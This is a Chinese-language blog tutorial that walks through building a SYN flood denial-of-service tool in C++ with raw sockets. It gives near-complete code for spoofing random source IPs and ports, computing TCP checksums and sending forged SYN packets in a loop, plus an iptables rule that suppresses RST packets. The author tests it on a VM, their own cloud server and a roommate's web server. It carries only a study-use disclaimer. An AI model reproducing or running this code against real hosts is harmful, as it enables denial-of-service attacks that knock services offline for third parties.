Raw Socket之SYN Flood攻击(C++)

前言:

在复习tcp三次握手的时候,了解到tcp协议有些缺陷,存在一些安全漏洞,比如说SYN攻击,就对此颇有兴趣,就打算用raw socket实现一下,同时也记下一些踩过的坑。

本博客所有代码仅供学习交流使用,请勿用于其他用途。

内容:

实验环境:linux

在写Raw Socket的SYN攻击之前,需要了解下为什么会存在这个攻击~

Raw Socket之SYN Flood攻击(C++)_第1张图片 TCP三次握手示意图

在tcp的三次握手中,客户端主动打开请求连接,会向服务器发送SYN请求包(第一次握手),服务器收到SYN请求后,会向客户端发送SYN-ACK同步确认包(第二次握手),客户端收到这个包后,会向服务器发送ACK确认包(第三次握手),然后客户端进入建立状态,当服务器收到确认包后,也会进入建立状态,此时双方处于TCP已建立连接状态,可以进行数据传送了。如果在第三次握手中,客户端不发送最后的ACK确认包,或者说服务器收不到ACK确认包,服务器会一直处于SYN-RCVD状态,并尝试重新向客户端发送SYN-ACK包(重传),这样会导致服务器在SYN timeout时间内维护这个半连接,并占用系统资源。

Raw Socket之SYN Flood攻击(C++)_第2张图片 服务器收不到客户端发来的ACK确认包

当半连接数量比较多的时候,服务器系统资源被大量占用,会严重影响正常的服务请求。

所以基于此漏洞,我们可以伪造大量的虚拟地址,来向服务器发送大量的不可回应的SYN请求,消耗目的系统资源,来达到攻击的目的。

知道大概的原理了,那就开干吧~

所需头文件~

#include 
#include      // for socket
#include       // for socket
#include      // for sockaddr_in
#include     // for tcp
#include      // for ip
#include       // for inet_
#include          // for ifreq
#include          // for memset
#include          // for usleep

我们先定义攻击目标的ip地址和端口,还有攻击的次数~

//对方ip地址
string ip_addr = "192.168.243.133";
    
//目标端口
int port = 80;
    
//攻击次数
int attack_num = 5;

在编写Socket中,我们可以使用RawSocket(原始套接字)来实现自己所需的IP数据报(IP首部+TCP首部+数据),最后使用sendto()来发送原始套接字。(注意:使用原始套接字需要root权限)

int socket_fd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);

我们还需要设定这个原始套接字的选项为IP_HDRINCL 的,来阻止系统自动填充IP首部,因为IP首部是需要我们伪造源地址的,所以需要自己填写。

int on = 1;
int opt =  setsockopt(socket_fd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

然后创建对方的地址信息(sockaddr_in)供sendto()函数使用。

// 创建sendto需要的对方地址结构信息
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(ip_addr.c_str());
addr.sin_port = htons(port);

(?已经准备好了,需要打磨)

接下来就是创建和填写IP数据报了。

IP数据报 = IP首部 + TCP首部 + 数据(这里我们数据为空,SYN报文段不能携带数据。)

Raw Socket之SYN Flood攻击(C++)_第3张图片 IP数据报格式

首先我们看下IP首部,我们需要伪造源地址部分其他部分基本不太关心。

Raw Socket之SYN Flood攻击(C++)_第4张图片 TCP数据报格式

然后再看下TCP首部,我们主要填写目的端口SYN位,和校验和 

参考他们的结构,我们借用socket相关库定义好的IP首部结构和TCP首部结构,开始写我们自己的IP数据报(buffer)。

unsigned int len = sizeof(struct ip)+sizeof(struct tcphdr);
unsigned char buffer[len];
memset(&buffer,0,sizeof(buffer));
cout << "buffer size :" << len << endl;

然后用两个指针指向buffer的IP首部和TCP首部,用于修改IP首部和TCP首部

struct ip *ip;
struct tcphdr *tcp;
ip = (struct ip *)buffer;
tcp = (struct tcphdr *)(buffer+sizeof(struct ip));//buffer偏移ip首部的大小就是tcp报文段的首地址

有了IP首部和TCP首部的指针,我们开始填写格式。

/*封装ip首部*/
//版本 4
ip->ip_v = IPVERSION;
//首部长度 4
ip->ip_hl = sizeof(struct ip)>>2;
//服务类型(types of service) 8
ip->ip_tos = 0;
//总长度 16
ip->ip_len = htons(len);
//标识 16
ip->ip_id = 0;
//标志+偏移 16
ip->ip_off = 0;
//生存时间 8
ip->ip_ttl = 0;
//协议 8
ip->ip_p = IPPROTO_TCP;
//首部检验和 16
ip->ip_sum = 0;
//源地址32 ,在syn攻击的时候伪造地址,这里先注释
//ip->ip_src.s_addr = inet_addr("127.0.0.1");
//目的地址 32
ip->ip_dst = addr.sin_addr;
/*封装tcp首部*/
//源端口 16 ,在syn攻击的时候伪造源端口,这里先注释
//tcp->source = htons(m_port);
//目的端口 16
tcp->dest = addr.sin_port;
//序号 32
tcp->seq = 0;
//确认号 32
tcp->ack_seq = 0;
//数据偏移 4
//tcp->res1 = 0;
//保留 4
tcp->doff = 5;  //这里从wireshark来看是指的是数据偏移,resl和doff的位置反了,不知道是头文件有问题还是什么的,应该不是大小端问题。
//res2+urg+ack+psh+rst+syn+fin 8
//tcp->res2 = 0;
//tcp->urg = 0;
//tcp->ack = 0;
//tcp->psh = 0;
//tcp->rst = 0;
tcp->syn = 1;
//tcp->fin = 0;
//窗口 16
//tcp->window = 0;
//检验和 16 ,这里需要我们自己计算校验和
tcp->check = 0;
 //紧急指针 16
//tcp->urg_ptr = 0;

填写好IP数据报后,接下来就是synFlood的发送环节了,在此之前需要我们填写随机的ip源地址和tcp源端口,然后计算tcp校验和填进去之后就可以发送syn伪造包了。

伪造源地址比较简单

u_int32_t m_ip = random();
ip->ip_src.s_addr = htonl(m_ip);

伪造tcp源端口也是

tcp->source = htons(random());

然后就是手动计算tcp校验和,我们重点讲解一下tcp校验和

Raw Socket之SYN Flood攻击(C++)_第5张图片 TCP伪首部+TCP首部+数据部分

如上图所示,tcp的校验和的检验范围包括tcp伪首部tcp首部数据部分(这里我们没有数据部分)。

然后我们再看下怎么计算校验和的:

1.首先将TCP检验和部分置为零;

2.然后将TCP伪首部部分,TCP首部和数据部分都划分成16位的一个个16进制数;

3.将这些数逐个相加,出的部分加到最低位上,循环加法;

4.最后将得到的结果取反,则可以得到检验和;

u_int16_t check_sum(u_int16_t *buffer, int size)
{
    //将变量放入寄存器, 提高处理效率.
    register int len = size;
    //16bit
    register u_int16_t *p = buffer;
    //32bit
    register u_int32_t sum = 0;

    //16bit求和
    while( len >= 2)
    {
        sum += *(p++)&0x0000ffff;
        len -= 2;
    }
    
    //最后的单字节直接求和
    if( len == 1){
        sum += *((u_int8_t *)p);
    }
       
    //高16bit与低16bit求和, 直到高16bit为0
    while((sum&0xffff0000) != 0){
        sum = (sum>>16) + (sum&0x0000ffff);
    }
    return (u_int16_t)(~sum);
}

我们再看看IP首部的结构,可以发现TCP伪首部和IP首部的部分是重叠的(总体位置一样,但顺序不一样)。

然后根据校验和计算每个16bit的性质,我们可以利用IP首部的后面一部分来作为TCP伪首部计算校验和,就不用另创建TCP伪首部了。需要注意的地方是IP首部中的首部校验和的位置是伪首部的TCP length,所以需要把这个地方改位TCP length才能开始计算校验和。

synFlood的发送环节(伪造IP源地址,伪造TCP源端口,计算校验和,发送~)

/*synFlood*/
for(unsigned int i = 0 ; i < attack_num ; i++){
    //伪造ip源地址
    u_int32_t m_ip = random();
    ip->ip_src.s_addr = htonl(m_ip);
    cout << "伪造ip:" << inet_ntoa(ip->ip_src) << endl;

    //伪造tcp源端口
    tcp->source = htons(random());

    /*计算tcp校验和*/
    ip->ip_ttl = 0;
    tcp->check = 0;

    //ip首部的校验和,内核会自动计算,可先作为伪首部,存放tcp长度,然后计算tcp校验和
    ip->ip_sum = htons(sizeof(struct tcphdr));

    //计算tcp校验和,从伪首部开始,接着就是tcp首部,然后数据部分,当然我们这里没有数据,直接到tcp首部结尾即可。
    tcp->check = check_sum((u_int16_t *)buffer+4,sizeof(buffer)-8);

    ip->ip_ttl = MAXTTL;

    //发送
    int res =  sendto(socket_fd,buffer,len,0,(sockaddr *)&addr,sizeof(struct sockaddr_in)) ;
    cout << res << endl;
    if(res<0){
        perror("res");
        return 0;
    }
    usleep(1000);
}

然后一个synFlood程序我们就写好了,接下来就是测试环节了~

测试环境: deepin(攻击者、VMware、192.168.243.132)、CentOS(服务器httpd、VMware、192.168.243.133)

(虚拟机环境有坑,后面会讲述)

使用root权限运行synFlood,可以看到程序发了5(attack_sum)个包,ip也是随机的,随机的端口没展示出来~

Raw Socket之SYN Flood攻击(C++)_第6张图片

 用wireshark抓一下包~

Raw Socket之SYN Flood攻击(C++)_第7张图片

可以看到客户端发了5个【SYN】包,服务器也发回了5个【SYN,ACK】包,奇怪的是,客户端就立马发回【RST】包,然后服务器收到【RST】包会终止此次连接,并不会造成什么资源占用,我们的目的失败。

所以这里引申出两个问题:

1.为什么客户端会收到服务器发的【SYN,ACK】包呢,不是修改了ip吗?

我的理解是,两个测试机都是在虚拟机上测试的,在同一个网段(重点),虽然客户端发送的ip是随机的,但是源mac是不变的,所以在服务器在arp请求的时候(可能交换机也有mac缓存),客户端会收到这个请求,看到mac是写的自己,然后说这个mac就是我,快发给我~,然后客户端就收到服务器发来的【SYN,ACK】包了。

在真正复杂的网络上,发送数据包会经过多个路由的,加上mac缓存表更新很快,所以客户端不会收到SYN、ACK包。

在后面会有个测试是攻击我自己的腾讯云服务器来验证这个答案~

这里的解释好像有误,好像是跟虚拟机的NAT有关,但具体的还没想出来?

2.为什么客户端会发送RST包呢?

初步查阅资料来看,我们是使用Raw Socket 来发送包的,内核并不知道我们所创建的连接,所以当内核收到个未知的【SYN,ACK】包的时候,会认为这个是错误的连接,会发回【RST】包来终止这次连接。

有两个解决办法是,一种修改内核,屏蔽RST包的发送(需要自己编译);另一种是建立iptables的规则,来屏蔽RST包的发送。第一种还是算了,第二种是比较简单的,也比较容易实现。

sudo iptables -t filter -I OUTPUT -p tcp --dport 80 --tcp-flags RST RST -j DROP

这个命令的意思是把出站的、目标是80端口的、TCP连接、RST包给丢弃,就是拦截此类的包,不发送出去。

但是!拦截不到!为什么呢~

我们可以抓一下RST包是谁发的

wireshark抓的【RST】包
arp表

网关?喵喵喵?网关发送的【RST】包,并不在iptables管理的范围内,所以拦截不了。这里好像有坑?

但是我wireshark是抓的本机网卡的包,为啥为抓到网关的包呢?这里我也不是很清楚,所以这里我很困惑,可能是虚拟机NAT模式的问题。这里我知识尚浅,我也解决不这个坑。。求大佬解惑~

祭献服务器:

为了测试一下我们写的synFlood是否有效,我要祭献出我的服务器来测试了。

ip_addr改为服务器的ip,端口为80,当然攻击次数依然为5次~ (怕查水表~)

Wireshark抓包:(把自己的服务器地址打一下码~)

wireshark抓的包

这次只有【SYN】包,而没有服务器返回的【SYN、ACK】包了。

然后再看下服务器的网络状态 (打码打码)

Raw Socket之SYN Flood攻击(C++)_第8张图片 netstat -ant | grep 80

我们可以看到有5个SYN_RECV状态的,测试成功~。

但是,从图可以看到来右边的IP源地址都是同一个,端口也都变了,为什么呢? 仔细想一下才发现虚拟机用的是NAT模式,校园网也是NAT的,也就是说出校园网的时候,源地址已经转换成校园网了(源IP地址正是校园网出口的IP)。

祭献舍友:

为了验证自己的答案,我将虚拟机设置成了桥接模式直接连接到物理网络中(避免了虚拟机的NAT转换)。

虚拟机的网络连接

这次我让舍友开了个win下的webServer(避免了校园网的NAT转换)。

然后攻击舍友的webServer多次(超级祭献中。。)

然后netstat:

Raw Socket之SYN Flood攻击(C++)_第9张图片 netstat -ant | grep 80

可以发现超级多个未知ip和随机端口进行了握手,但是服务端收不到客户端的【ACK】包,所以在一定时间内会处于【SYN_RECV】状态占用系统资源。

我们的效果达到~

(END)

终于写完了~,里面的坑超真实?,写出来也为了让大家了解一下这里面的坑和如何理解和解决它,虽然还是有些地方不是很懂,但是收获也是相当大的,自己也重新温故了很多网络知识。

文章中当然也有不足的地方,请大家多多指教,互相学习~

源码可参考我的github[simple-rawSocket-synFlood],求⭐⭐~

本博客所有代码仅供学习交流使用,请勿用于其他用途。

你可能感兴趣的:(Socket)